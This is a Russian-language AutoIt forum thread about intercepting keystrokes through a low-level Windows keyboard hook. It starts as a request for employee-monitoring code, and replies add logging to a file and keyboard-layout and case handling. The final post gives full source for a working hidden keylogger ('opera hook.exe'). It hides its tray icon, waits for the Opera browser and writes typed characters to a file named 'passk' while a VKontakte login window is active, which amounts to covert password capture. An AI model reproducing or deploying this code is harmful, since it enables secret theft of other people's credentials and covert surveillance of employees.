Автор Тема: Перехват нажатия клавиш  (Прочитано 9699 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн ZanMax [?]

  • Новичок
  • *
  • Сообщений: 120
  • Репутация: 5
  • Пол: Мужской
  • Тестер
    • Хостинг
    • Награды
Перехват нажатия клавиш
« Создано: Сентябрь 18, 2009, 18:39:26 »
Продолжаю писать програму для слежением за действиями пользователей !
Не подумайте о мне ничего плохого. Просто на фирме начальник хочет знать что делают сотрудники. Вот и нужно написать жалкое подобие Lan Agentа.

Вот нашел код для перехвата нажатий клавиш.
У меня возникло пару вопросов.
1.Как сделать запись в файл а не вывод на екран ?
2.Как сделать так что-бы  учитывался регистр (Большая "А" маленькая "а")
3.Как можно отловить нажатий клавиш (Ctrl,ALT,Shift,ENTER,Esc,F1-F12)
Код: AutoIt [Выделить]
HotKeySet("{ESC}", "OnAutoItExit")

Global Const $WH_KEYBOARD_LL    = 13

Global $sBuffer                 = ""
Global $hStub_KeyProc           = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
Global $hMod                    = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook                   = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", _
    $WH_KEYBOARD_LL, "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(10)
WEnd

Func EvaluateKey($nKeyCode)
    If (($nKeyCode > 22) And ($nKeyCode < 91)) _
        Or (($nKeyCode > 47) And ($nKeyCode < 58)) Then
        $sBuffer &= Chr($nKeyCode)
        ToolTip($sBuffer, 0, 0)
    ElseIf ($nKeyCode > 159) And ($nKeyCode < 164) Then
        Return
    EndIf
EndFunc

Func _KeyProc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        EvaluateKey(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)

    Return $aRet[0]
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc

 


Спасибо всем.
« Последнее редактирование: Апрель 30, 2011, 01:53:27 от CreatoR »
Люблю AutoIT

Оффлайн CreatoR [?]

  • Администратор
  • *
  • Сообщений: 6938
  • Репутация: 2172
  • Пол: Мужской
  • AutoIt is simple, subtle, elegant
    • CreatoR's Lab
    • Награды
  • Версия AutoIt: 3.3.10.2
Re: Перехват нажатия клавиш
« Ответ #1, Отправлен: Сентябрь 18, 2009, 19:02:58 »
ZanMax « Создано: Сегодня в 17:39:26 »
Цитировать
.Как сделать запись в файл а не вывод на екран ?

Код: AutoIt [Выделить]
FileWrite("File.txt", $sBuffer)


Цитировать
Как сделать так что-бы  учитывался регистр
Вот пример для определения раскладки клавиатуры (рус./укр./англ.) + регистра букв на них:

Код: AutoIt [Выделить]
#include <Misc.au3>

HotKeySet("^e", "OnAutoItExit")

Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
    "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")

While 1
    Sleep(100)
WEnd

Func _EvaluateKey_Proc($nKeyCode)
    Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes
    Local $sUkr_Codes, $sUkrShift_Codes
   
    Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes
   
    Local $sSound
    Local $sChar
   
    Switch $nKeyCode
        ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
        Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                "1234567890Ѕ»"
           
            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                "1234567890-="
           
            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'
           
            $sRus_Codes = _
                    "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                    "1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'
           
            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                "1234567890-="
           
            $sUkrShift_Codes = _
                "’ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & _
                '!"№;%:?*()_+'
           
            $aCapture_Codes = StringSplit($sCapt_Codes, "")
           
            $aEng_Codes = StringSplit($sEng_Codes, "")
            $aEngShift_Codes = StringSplit($sEngShift_Codes, "")
           
            $aRus_Codes = StringSplit($sRus_Codes, "")
            $aRusShift_Codes = StringSplit($sRusShift_Codes, "")
           
            $aUkr_Codes = StringSplit($sUkr_Codes, "")
            $aUkrShift_Codes = StringSplit($sUkrShift_Codes, "")
           
            Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
                Case 0409 ;Если раскладка английская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
                    EndIf
                   
                    $sSound = "en.wav"
                Case 0419 ;Если расскладка русская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
                    EndIf
                   
                    $sSound = "ru.wav"
                Case 0422 ;Если расскладка украинская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
                    EndIf
                   
                    $sSound = "ukr.wav"
            EndSwitch
           
            ToolTip($sChar & " - " & Asc($sChar), 0, 80)
            SoundPlay($sSound) ;проигрывать звук при нажатии
        Case Else ; если была нажата не буква и не цыфра, то выход из функции
            Return
    EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT
   
    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf
   
    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf
   
    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
    Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
    For $i = 1 To $aSearch_Array[0]
        If $nKeyCode == Asc($aSearch_Array[$i]) Then
            $nKeyCode = Asc($aReplace_Array[$i])
            Return Chr($nKeyCode)
        EndIf
    Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
    Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
    $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])
   
    Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc


Цитировать
Как можно отловить нажатий клавиш (Ctrl,ALT,Shift,ENTER,Esc,F1-F12)
Код: AutoIt [Выделить]
$nKeyCode = 160 ;Левый Shift
$nKeyCode = 161 ;Правый Shift
$nKeyCode = 162 ;Левый Ctrl
$nKeyCode = 163 ;Правый Ctrl


Чтобы узнать остальные, можно после «Case Else ; если была нажата не буква и не цыфра, то выход из функции» добавить внизу:
Код: AutoIt [Выделить]
ConsoleWrite($nKeyCode & @CRLF)

Но для Alt'а придётся использовать _IsPressed.
Правила, Поиск, Супер тема


AutoIt is simple, subtle, elegant.


«Не оказываю тех. поддержку через ПМ/ICQ, и по электронной почте - для этого есть форум. (C)»
«Законы Мэрфи неоспоримы!»


Мои работы

Оффлайн lokky7777 [?]

  • Новичок
  • *
  • Сообщений: 1
  • Репутация: 0
    • Награды
Re: Перехват нажатия клавиш
« Ответ #2, Отправлен: Ноябрь 07, 2009, 23:12:19 »
А у меня попутный вопрос по поводу библиотечки misc.au3.
Стоит ее подключить в любом (хоть пустой скрипт с инклудом этой библиотеки) скрипте и антивирусник ругается на такую exe-ху, говорит что там лошадка спрятана...
Попытался ковырнуть содержимое misc.au3, но до конца не осилил :(
Возможно оно и не стоит опасений, т.к. заразу в файле узрел параноидальный антивирус a-squared, но, как говорится, осадочек-то остался (да и ехе-шник с библиотекой в размере прибавляет прилично).
Может ли кто-нибудь из ковырятелей сего чуда развеять мои страхи?

Оффлайн snoitaleR [?]

  • AutoIt Гуру
  • *****
  • Сообщений: 828
  • Репутация: 217
  • Пол: Мужской
    • Награды
Re: Перехват нажатия клавиш
« Ответ #3, Отправлен: Ноябрь 07, 2009, 23:27:19 »
lokky7777
Я только что создал EXE-файл из скрипта с включенной Misc.au3...
DRWEB.5.0 с последними обновлениями не выдает никаких предупреждений...
Я думаю, твой антивирус реагирует на обращения функций DllCall() к системным библиотекам...
Главное в жизни человека - это отношение...

Оффлайн CreatoR [?]

  • Администратор
  • *
  • Сообщений: 6938
  • Репутация: 2172
  • Пол: Мужской
  • AutoIt is simple, subtle, elegant
    • CreatoR's Lab
    • Награды
  • Версия AutoIt: 3.3.10.2
Re: Перехват нажатия клавиш
« Ответ #4, Отправлен: Ноябрь 08, 2009, 00:20:30 »
lokky7777 [?]
Цитировать
у меня попутный вопрос по поводу библиотечки misc.au3
Такие вопросы в отдельную тему.

Оффлайн sp3d [?]

  • Новичок
  • *
  • Сообщений: 2
  • Репутация: 0
    • Награды
Re: Перехват нажатия клавиш
« Ответ #5, Отправлен: Июнь 04, 2010, 21:34:00 »
Здравствуйте!
Я недавно начал изучать AutoIt.
Просматривая темы по работе с клавиатурой, наткнулся на эту тему....
Понимаю, что времени с последнего поста прошло много, но всеже спрошу, т.к. инфу не нашел.
При компиляции примера, предложеного CreatoR, выдает следующую ошибку:
Цитировать
ERROR: _ReplaceKeyCode_Proc() called by a previous line with 2 arg(s). Min = 3. First previous line calling this Func is 57.
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
Поиск по форуму и справке не дал результатов, где же всетаки можно узнать про функцию _ReplaceKeyCode

Оффлайн CreatoR [?]

  • Администратор
  • *
  • Сообщений: 6938
  • Репутация: 2172
  • Пол: Мужской
  • AutoIt is simple, subtle, elegant
    • CreatoR's Lab
    • Награды
  • Версия AutoIt: 3.3.10.2
Re: Перехват нажатия клавиш
« Ответ #6, Отправлен: Июнь 04, 2010, 23:28:59 »
sp3d  [?]
Цитировать
При компиляции примера, предложеного CreatoR, выдает следующую ошибку
Видимо ошибка при компиляции, без неё я так понимаю пример работает?

Оффлайн sp3d [?]

  • Новичок
  • *
  • Сообщений: 2
  • Репутация: 0
    • Награды
Re: Перехват нажатия клавиш
« Ответ #7, Отправлен: Июнь 05, 2010, 00:08:15 »
не работает при всех вариантах запуска скрипта
-------------------------------------------------------------------
Причину так и не понял, но после переустановки программы скрипт заработал
« Последнее редактирование: Июнь 05, 2010, 02:12:14 от sp3d »

Оффлайн CreatoR [?]

  • Администратор
  • *
  • Сообщений: 6938
  • Репутация: 2172
  • Пол: Мужской
  • AutoIt is simple, subtle, elegant
    • CreatoR's Lab
    • Награды
  • Версия AutoIt: 3.3.10.2
Re: Перехват нажатия клавиш
« Ответ #8, Отправлен: Июнь 05, 2010, 00:40:36 »
sp3d  [?]
Цитировать
не работает при всех вариантах запуска скрипта
Значит делаете что то не то, у меня на 3.3.6.1 всё работает.

Оффлайн Денис [?]

  • Новичок
  • *
  • Сообщений: 33
  • Репутация: 8
  • Пол: Мужской
    • Награды
Re: Перехват нажатия клавиш
« Ответ #9, Отправлен: Июнь 10, 2010, 11:25:48 »
Здравствуйте уважаемый CreatoR. У меня к Вам такой вопрос. Ваш скрипт не перехватывает нажатие клавиши "пробел", это фича скрипта, или же это откровенный баг?

В любом случаи не подскажите где "собака зарыта", и почему не происходит перехват "пробела"?

Оффлайн CreatoR [?]

  • Администратор
  • *
  • Сообщений: 6938
  • Репутация: 2172
  • Пол: Мужской
  • AutoIt is simple, subtle, elegant
    • CreatoR's Lab
    • Награды
  • Версия AutoIt: 3.3.10.2
Re: Перехват нажатия клавиш
« Ответ #10, Отправлен: Июнь 10, 2010, 14:12:53 »
Денис  [?]
Цитировать
Ваш скрипт не перехватывает нажатие клавиши "пробел", это фича скрипта, или же это откровенный баг?
Это фича, и об этом указанно в комментах:
Код: AutoIt [Выделить]
; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.


Цитировать
почему не происходит перехват "пробела"?
Там нужно добавить код символа пробела и сам пробел в список символов:

Код: AutoIt [Выделить]
        ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
        Case 32, 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                " 1234567890Ѕ»"
           
            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                " 1234567890-="
             
            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'
           
            $sRus_Codes = _
                    "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                    " 1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'
           
            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                " 1234567890-="


Оффлайн rusreg79 [?]

  • Продвинутый
  • ***
  • Сообщений: 159
  • Репутация: 57
  • Пол: Мужской
    • Награды
Re: Перехват нажатия клавиш
« Ответ #11, Отправлен: Апрель 26, 2011, 12:44:37 »
Kак прикрутить к коду CreatoR показ нажатых Numpad клавиш?
Программаторы программировали, программировали, да не выпрограммировали

Оффлайн c-n1x [?]

  • Новичок
  • *
  • Сообщений: 26
  • Репутация: 1
  • Пол: Мужской
    • c-n1x.pdj.ru
    • Награды
Re: Перехват нажатия клавиш
« Ответ #12, Отправлен: Июль 22, 2011, 02:59:23 »
Не получилось у меня через FileWrite сделать запись в файл.

Оффлайн yukuru [?]

  • Новичок
  • *
  • Сообщений: 48
  • Репутация: 4
  • Влюбленный Бродячий Кот
    • Награды
Re: Перехват нажатия клавиш
« Ответ #13, Отправлен: Август 16, 2011, 19:31:02 »
Переделал. все работает.:
1) запскается и висит скрытым
2) следит пока не откроют страницу с названием "Вход" или "Добро Пожаловать", - в моем случае ориентированно на оперу- "Вконтакте"
3) записывает в файл все что вводят, пока не зайдут

ДАно в ознакомительных целях)

Код: AutoIt [Выделить]
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Outfile=opera hook.exe
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

    Opt("TrayIconHide", 1)


ProcessWait("opera.exe")


;WinWaitActive("Добро пожаловать")


#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <EditConstants.au3>


$ok=1
    Global Const $WH_KEYBOARD_LL = 13
Global $sChar=""
    Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
    "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)

While 1

;   WinWaitActive("Добро пожаловать")
;   MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")
Sleep(10)
WEnd





Func _EvaluateKey_Proc($nKeyCode)
    Local $sCapt_Codes, $sEng_Codes, $sEngShift_Codes, $sRus_Codes, $sRusShift_Codes
    Local $sUkr_Codes, $sUkrShift_Codes

    Local $aCapture_Codes, $aEng_Codes, $aEngShift_Codes, $aRus_Codes, $aRusShift_Codes, $aUkr_Codes, $aUkrShift_Codes

    Local $sSound
    Local $sChar

    Switch $nKeyCode
        ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0.
        Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222
            $sCapt_Codes = _
                "АQWERTYUIOPЫЭASDFGHJKLєЮZXCVBNMјѕї" & _
                "1234567890Ѕ»"

            $sEng_Codes = _
                "`qwertyuiop[]asdfghjkl;'zxcvbnm,./" & _
                "1234567890-="

            $sEngShift_Codes = _
                '~QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?' & _
                '!@#$%^&*()_+'

            $sRus_Codes = _
                    "ёйцукенгшщзхъфывапролджэячсмитьбю." & _
                    "1234567890-="

            $sRusShift_Codes = _
                'ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,' & _
                '!"№;%:?*()_+'

            $sUkr_Codes = _
                "'йцукеягшщзхЇфівапролджєнчсмитьбю." & _
                "1234567890-="

            $sUkrShift_Codes = _
                "’ЙЦУКЕЯГШЩЗХЇФІВАПРОЛДЖЄНЧСМИТЬБЮ," & _
                '!"№;%:?*()_+'

            $aCapture_Codes = StringSplit($sCapt_Codes, "")

            $aEng_Codes = StringSplit($sEng_Codes, "")
            $aEngShift_Codes = StringSplit($sEngShift_Codes, "")

            $aRus_Codes = StringSplit($sRus_Codes, "")
            $aRusShift_Codes = StringSplit($sRusShift_Codes, "")

            $aUkr_Codes = StringSplit($sUkr_Codes, "")
            $aUkrShift_Codes = StringSplit($sUkrShift_Codes, "")

            Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
                Case 0409 ;Если раскладка английская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
                    EndIf

                    $sSound = "en.wav"
                Case 0419 ;Если расскладка русская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
                    EndIf

                    $sSound = "ru.wav"
                Case 0422 ;Если расскладка украинская
                    If _IsPressed(10) Then ; если нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
                    Else ; если не нажата клавиша Shift
                        $sChar = _ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
                    EndIf

                    $sSound = "ukr.wav"
                EndSwitch
if BitAND(WinGetState("Добро пожаловать"),8) Or BitAND(WinGetState("Вход"),8)Then
if $sChar<>"" Then
$f=FileOpen("passk",1)
FileWrite($f,$sChar)
FileClose($f)
$sChar=""
EndIf
EndIf
;sleep(10)
            ;ToolTip($sChar & " - " & Asc($sChar), 0, 80)
            ;SoundPlay($sSound) ;проигрывать звук при нажатии
        Case Else ; если была нажата не буква и не цыфра, то выход из функции
            Return
    EndSwitch
EndFunc

Func _Key_Proc($nCode, $wParam, $lParam)
    Local $aRet, $KEYHOOKSTRUCT

    If $nCode < 0 Then
        $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
        Return $aRet[0]
    EndIf

    If $wParam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
        _EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
    EndIf

    $aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
    Return $aRet[0]
EndFunc

;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
    For $i = 1 To $aSearch_Array[0]
        If $nKeyCode == Asc($aSearch_Array[$i]) Then
            $nKeyCode = Asc($aReplace_Array[$i])
            Return Chr($nKeyCode)
        EndIf
    Next
EndFunc

;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
    Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
    $aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])

    Return "0000" & Hex($aRet[0], 4)
EndFunc

Func OnAutoItExit()
    If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
    $hStub_KeyProc = 0
    DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
    If @HotKeyPressed <> "" Then Exit
EndFunc
;MsgBox(0,"","OK")
 




« Последнее редактирование: Август 16, 2011, 22:12:01 от yukuru »
Вокзал видел больше искренних поцелуев, чем ЗАГС.
А стены больницы, возможно, слышали больше искренних молитв, чем церковь. ©

 

Похожие темы

  Тема / Автор Ответов Последний ответ
1 Ответов
3828 Просмотров
Последний ответ Апрель 10, 2010, 23:38:59
от CreatoR
3 Ответов
5072 Просмотров
Последний ответ Декабрь 09, 2010, 16:29:44
от Dantez
7 Ответов
5794 Просмотров
Последний ответ Январь 06, 2011, 15:12:53
от CreatoR
1 Ответов
4219 Просмотров
Последний ответ Февраль 21, 2011, 01:52:23
от Zaramot
2 Ответов
2557 Просмотров
Последний ответ Октябрь 20, 2011, 10:44:06
от Kaster
8 Ответов
2987 Просмотров
Последний ответ Октябрь 29, 2011, 16:06:12
от gregaz
0 Ответов
1836 Просмотров
Последний ответ Декабрь 20, 2011, 15:17:37
от madmasles
73 Ответов
8578 Просмотров
Последний ответ Апрель 16, 2012, 18:51:06
от madmasles
1 Ответов
1359 Просмотров
Последний ответ Январь 27, 2012, 16:54:23
от sngr
0 Ответов
1137 Просмотров
Последний ответ Февраль 20, 2012, 00:09:44
от Dimmak